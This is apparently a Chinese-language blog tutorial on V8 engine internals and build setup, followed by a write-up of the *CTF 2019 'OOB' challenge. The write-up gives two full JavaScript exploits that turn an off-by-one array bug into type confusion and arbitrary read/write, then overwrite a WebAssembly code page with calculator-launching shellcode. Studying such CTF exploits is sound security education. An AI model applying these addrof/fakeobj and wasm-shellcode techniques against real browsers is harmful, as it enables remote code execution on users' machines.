基础知识
v8是chrome浏览器的 JavaScript 引擎,是著名的 JIT(Just In Time) 引擎。在Chromium项目中起到至关重要的作用。作为一款jit引擎,其工作模式如下图所示:
- Parser是 JS 源代码的入口,接受javascript 源文件作为输入
- Interpreter 负责从 Javascript AST 生成 bytecodes,同时也可以基于bytecode直接生成机器代码。在 V8 中该组件名为Ignition。
- JIT Complier: Turbofan作为 V8 中的优化器,其作用是将字节码优化成为固定的机器代码。在优化过程中,V8 引入了SSA(静态单赋值)形式的中间代码简化编译器的优化算法,在其若干优化过程(PASS)中实现安全的 JIT 代码生成。
- Runtime:提供各种数据结构的实现以及buildin函数等等。
- GC:V8的垃圾回收器。
Ignition
位于src/interpreter/bytecode-generator.h
中的 BytecodeGenerator
实现了AstVisitor
,将在遍历Javascript AST
中创建相应的字节码。字节码的生成方法为是BytecodeGenerator::GenerateBytecode
。
针对单个字节码来说,v8 实现了 Ignition_handler
,可以遍历解释执行前面生成的bytecodes, 例如:
值得一提的是,以上Ignition_handler
中采用了CSA(CodeStubAssembler)
,这是一种类似于汇编的语言,保持了platform-independent的同时也具备一定的可读性。这样,Ignition顺序执行字节码对应的handler的过程看起来就像这样:
总的来说,可以把Ignition当作一个解释器或者低级的翻译器,字节码可以在调试v8的时候通过—print-bytecode打印。
Turbofan
Turbofan是整个v8最为核心最为复杂的部分。优化过程中采用了基于sea of node思想设计的中间语言。这是一种Program Dependence Graph,其宗旨是“在统一的表达形式下,把分析进行彻底”。用这样的IR所表达的程序是由经过完全的程序分析后产生的节点组成,这种节点可以依赖别的节点,本身也可以被别的节点依赖。各种 IR 操作并不操作变量,而是代表从依赖获取输入节点,经运算后产生新的节点这样的行为。这样,Turbofan 针对每个节点的优化变得相对独立,因为其自身会携带足够依赖信息来判明它在怎样的路径上有效,依赖的数据输入是哪些。
TurboFan的依赖信息有三种 Control , Data , Effect
Control dependence:Control Dependence(控制依赖)可以看作是常规控制流图反过来画。不是基本块持有一个线性列表里面装着节点,而是每个节点都记录着自己的控制依赖是谁——要哪个前驱控制节点执行到的时候我才可以执行。
Data dependence:Data Dependence就是use-def链,换句话说一个节点的数据输入都是谁。例如说 a + b,这个“+”的数据依赖就是a和b。
Effect dependence:可以理解为内存状态的操作依赖,单独描述内存的操作顺序,记录的是内存操作
例如,对于obj[x] = obj[x] + 1
来说,对应的IR为:
该图表明了一种依赖关系:load->add->store
其次,由于Javascript为弱类型语言,而JIT代码往往是针对某种类型特定优化的,错误的类型很可能会导致安全问题。因此为了提高安全性,Turbofan在JIT代码中会插入类型检查,其工作模式如下图
Runtime
Tagged Value:
- 最低位LSB标志位
- SMI: SMall Integer,将最后一bit清零,访问的时候当作SMI
- HeapObject:最后一位置1,访问的时候减去1然后取内存中的值再来访问
- 可以理解为存储了简单的数据类型,更复杂的数据类型信息存储在map
Map存储了:
- 对象的动态类型
- 对象的大小(以字节为单位)
- 对象的属性及其存储位置
- 数组元素的类型
- 对象的原型
Map提供属性值在存储区域中的确切位置位于object的头部,属性值的存储区域有三个:inline,out-of-line,element(数组访问)。
例如:
下划线部分为map指针,绿色部分代表对象创建时就有的属性,会被直接放置在Object o的内部,蓝色部分作为数组属性所指的内存空间存储了数组元素的具体值,红色部分作为后续添加的属性指向了额外的存储属性值的内存。
V8的object类型访问完全依靠上述的结构实现,给了我们攻击思路:倘若控制了对象的map值就可以实现错误的元素访问。
builtin
在V8中,buildin可以看作是VM在Runtime中可执行的代码块,由引擎本身实现,除了实现一些 js 语言带有的操作之外,还可以实现一些内置功能。例如 builtins-array.cc 和数组相关的一些函数:array.fill,slice,fush…,是turbofan inline 的对象。
GC
V8 实现了准确式 GC,GC 算法方面采用了分代垃圾回收。
- 新生代GC:GC复制算法,Cheney的GC复制算法
- 老年代GC:GC 标记-清除算法,GC标记-压缩算法
新生代中的对象为存活时间较短的对象,老生代中的对象为存活时间较长或常驻内存的对象,分别对新老生代采用不同的垃圾回收算法来提高效率,对象最开始都会先被分配到新生代(如果新生代内存空间不够,直接分配到老生代),新生代中的对象会在满足某些条件后,被移动到老生代,这个过程叫晋升。
对象晋升的条件主要有两个:
对象从From空间复制到To空间时,会检查它的内存地址来判断这个对象是否已经经历过一次Scavenge回收。如果已经经历过了,会将该对象从From空间移动到老生代空间中,如果没有,则复制到To空间。总结来说,如果一个对象是第二次经历从From空间复制到To空间,那么这个对象会被移动到老生代中。
当要从From空间复制一个对象到To空间时,如果To空间已经使用了超过25%,则这个对象直接晋升到老生代中。设置25%这个阈值的原因是当这次Scavenge回收完成后,这个To空间会变为From空间,接下来的内存分配将在这个空间中进行。如果占比过高,会影响后续的内存分配。
环境搭建
安装depot_tools
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
echo 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.bashrc
安装ninja
git clone https://github.com/ninja-build/ninja.git
cd ninja && ./configure.py --bootstrap && cd ..
echo 'export PATH=$PATH:"/path/to/ninja"' >> ~/.bashrc
下载编译v8
fetch v8 && cd v8&& gclient sync
tools/dev/v8gen.py x64.debug
ninja -C out/x64.debug
运行
./out/x64.debug/d8
./out/x64.debug/shell
调试脚本
cp /home/q1iq/Documents/v8/tools/gdbinit /home/q1iq/env/gdbinit_v8
vim ~/.gdbinit
填入 source /home/q1iq/env/gdbinit_v8
调试选项 d8 --allow-natives-syntax test.js
%SystemBreak();
%DebugPrint(obj);
starctf 2019 OOB
下载题目、编译:
git clone https://github.com/sixstars/starctf2019.git
cd v8
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply ../starctf2019/pwn-OOB/oob.diff
gclient sync -D
gn gen out/x64_startctf.release --args='v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true'
ninja -C out/x64_startctf.release d8
漏洞分析
题目给了diff文件,为Array增加了一个oob函数,实现为ArrayOob,当调用这个函数的参数的个数为1时,可以读Array的第length个成员,个数为2时,将参数1赋值给Array的第length个成员。这里ArrayOob是C++实现的成员函数,第一个参数是this指针,后面的才是js传入的参数。
因此定位到漏洞是Array对象的off by one的越界读写。
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
方法一
基本原理是对象数组和浮点数数组类型混淆。
- 用float array类型访问object array的elements,可以将object的地址以float类型读出,实现任意object的地址泄露;
- 用数组伪造fake float array的字段(exp里是array_box),泄露数组的地址计算偏移得到fake float array的地址,将这个地址转为float,用object array类型访问这个float将其混淆为object得到fake float array;
- 将fake float array的elements字段指向任意地址,实现任意地址读写;
- 最后wasm一把梭弹计算器。具体是首先加载一段wasm代码到内存中,再泄露存放wasm编译后的汇编的内存地址,通过任意地址写原语用shellcode替换原本wasm的代码内容,最后调用wasm的函数接口触发调用shellcode。
完整exp:
//fulfill
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
int_view[0] = this;
return float_view[0];
}
BigInt.prototype.smi2f = function() {
int_view[0] = this << 32n;
return float_view[0];
}
Number.prototype.f2i = function() {
float_view[0] = this;
return int_view[0];
}
Number.prototype.f2smi = function() {
float_view[0] = this;
return int_view[0] >> 32n;
}
Number.prototype.i2f = function() {
return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
return BigInt(this).smi2f();
}
function debug(){
console.log("debug...");
readline();
}
function gc(){
for(var i=0;i<0x10;i++){
new ArrayBuffer(0x1000000);
}
}
function fail(str){
console.log("FAIL:",str);
throw null;
}
//trigger patch
var float_arr = [1.1,2,3,4];
var obj_sample = {"what":"ever"};
var obj_arr = [obj_sample];
var float_arr_map=float_arr.oob();
var obj_arr_map=obj_arr.oob();
function obj_to_float(o)
{
obj_arr[0] = o;
obj_arr.oob(float_arr_map);
var num = obj_arr[0];
obj_arr.oob(obj_arr_map);
return num;
}
var array_box = [
float_arr_map, // fake obj |map
2, // |properties
3, // |elements
4,
5,
6,
7,
8,
9,
1.0,
1.1,
1.2,
1.3,
1.4,
1.5,
1.6
];
// leak addr of array_box
var array_box_addr = obj_to_float(array_box).f2i()-1n;
console.log(array_box_addr.hex());
//%DebugPrint(array_box);
// fake object
var fake_obj_addr = array_box_addr-0x80n;
float_arr[0] = (fake_obj_addr+1n).i2f();
float_arr.oob(obj_arr_map);
var fake_obj = float_arr[0]; //get a object whose addr is fakce_obj_addr
float_arr.oob(float_arr_map);
// Arbitrary address read
function read64(leak_addr){
array_box[2] = (leak_addr - 0x10n + 0x1n).i2f();
return fake_obj[0].f2i();
}
// Arbitrary address write
function write64(addr,data){ //addr, data: BigInt
array_box[2] = (addr - 0x10n + 0x1n).i2f();
fake_obj[0] = data.i2f();
}
// wasm -> shellcode
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module, {});
var f = wasm_instance.exports.main;
var f_addr = obj_to_float(f).f2i()-1n;
console.log("[*] leak wasm addr: " + f_addr.hex());
var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: " + rwx_page_addr.hex());
var shellcode =[0x010101010101b848n, 0x68632eb848500101n, 0x0431480169722e6fn, 0x0cfe016ae7894824n, 0x63782f6e69b84824n, 0x3b30b84850636c61n, 0x4850622f7273752fn, 0x303a3d59414c50b8n, 0x74726f70b848502en, 0x01b8485053494420n, 0x5001010101010101n, 0x01622c016972b848n, 0xf631240431487964n, 0x56e601485e0e6a56n, 0x6a56e601485e136an, 0x894856e601485e18n, 0x050f583b6ad231e6n]
var data_buf = new ArrayBuffer(0xa0);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = obj_to_float(data_buf).f2i()-1n + 0x20n;
write64(buf_backing_store_addr, rwx_page_addr);
for (var i = 0; i < shellcode.length; i++) {
data_view.setFloat64(i*8, shellcode[i].i2f(), true);
}
f();
方法二
参考P1umer大佬的方法,基本原理是Object和Array的类型混淆。
构建如下obj1,obj2,用obj1的类型访问obj2.a,就可以达到覆写obj2原本的size位的效果,将size位写成一个很大的值就可以实现一定距离数组越界读写。在obj2下方构建一个float array,修改float array的elements,即可实现任意地址写。最后wasm一把梭。
var obj1 = {a:1,b:2};
var obj2 = new Array(10);
obj1内存布局如下:
obj2内存布局如下:
另外这里和法一有点区别的是,用 new Array(10);
分配数组时,jsArray在FixedArray上方,var float_arr = [1.1,2,3,4];
这样分配时,jsArray在FixedArray下方。
完整exp:
//fulfill
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
int_view[0] = this;
return float_view[0];
}
BigInt.prototype.smi2f = function() {
int_view[0] = this << 32n;
return float_view[0];
}
Number.prototype.f2i = function() {
float_view[0] = this;
return int_view[0];
}
Number.prototype.f2smi = function() {
float_view[0] = this;
return int_view[0] >> 32n;
}
Number.prototype.i2f = function() {
return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
return BigInt(this).smi2f();
}
function debug(){
console.log("debug...");
readline();
}
function gc(){
for(var i=0;i<0x10;i++){
new ArrayBuffer(0x1000000);
}
}
function fail(str){
console.log("FAIL:",str);
throw null;
}
//trigger patch
var array1 = new Array(10);
//%DebugPrint(array1);
var obj1 = {a:1,b:2};
var array2 = new Array(10);
var obj2 = new Array(10);
var obj1_map=array1.oob();
var obj2_map=array2.oob();
//%DebugPrint(obj1);
//%DebugPrint(obj2);
array2.oob(obj1_map);
obj2.a=0x100; //obj2.size
array2.oob(obj2_map);
obj2[0]=1.1; //make obj2 a float array
var exp_array = new Array(10);
exp_array[0]=1.1; //make exp a float array
exp_array[1]=1.2;
leak_exp_addr=obj2[19].f2i()-0x1n; //elements of exp
//%DebugPrint(exp);
console.log("[*] leak_exp_addr: ",leak_exp_addr.hex());
function read64(leak_addr) {
//%SystemBreak();
obj2[19]=(leak_addr+1n-0x10n).i2f();
//%SystemBreak();
return exp_array[0].f2i()
}
function write64(addr,data){
obj2[19]=(addr+1n-0x10n).i2f();
exp_array[0]=data.i2f();
}
// wasm -> shellcode
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module, {});
var f = wasm_instance.exports.main;
//%DebugPrint(f);
array1[0] = f;
console.log("[*] leak wasm addr in : " + (leak_exp_addr-0x358n).hex());
var f_addr = read64(leak_exp_addr-0x358n)-0x1n;
console.log("[*] leak wasm addr: " + f_addr.hex());
//%SystemBreak();
var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: " + rwx_page_addr.hex());
var shellcode =[0x010101010101b848n, 0x68632eb848500101n, 0x0431480169722e6fn, 0x0cfe016ae7894824n, 0x63782f6e69b84824n, 0x3b30b84850636c61n, 0x4850622f7273752fn, 0x303a3d59414c50b8n, 0x74726f70b848502en, 0x01b8485053494420n, 0x5001010101010101n, 0x01622c016972b848n, 0xf631240431487964n, 0x56e601485e0e6a56n, 0x6a56e601485e136an, 0x894856e601485e18n, 0x050f583b6ad231e6n]
var data_buf = new ArrayBuffer(0xa0);
var data_view = new DataView(data_buf);
array1[0] = data_buf;
var buf_backing_store_addr = read64(leak_exp_addr-0x358n)-0x1n + 0x20n;
write64(buf_backing_store_addr, rwx_page_addr);
for (var i = 0; i < shellcode.length; i++) {
data_view.setFloat64(i*8, shellcode[i].i2f(), true);
}
f();
不过我调试这种方法的时候发现,每次运行read64时都会卡在Builtins_StoreFastElementIC_Standard+4889
,一直c可以c到shellcode,但是在终端直接跑脚本会报Trace/breakpoint trap
,没排查出错误原因是什么,挖个坑以后填吧。
参考
https://paper.seebug.org/1822/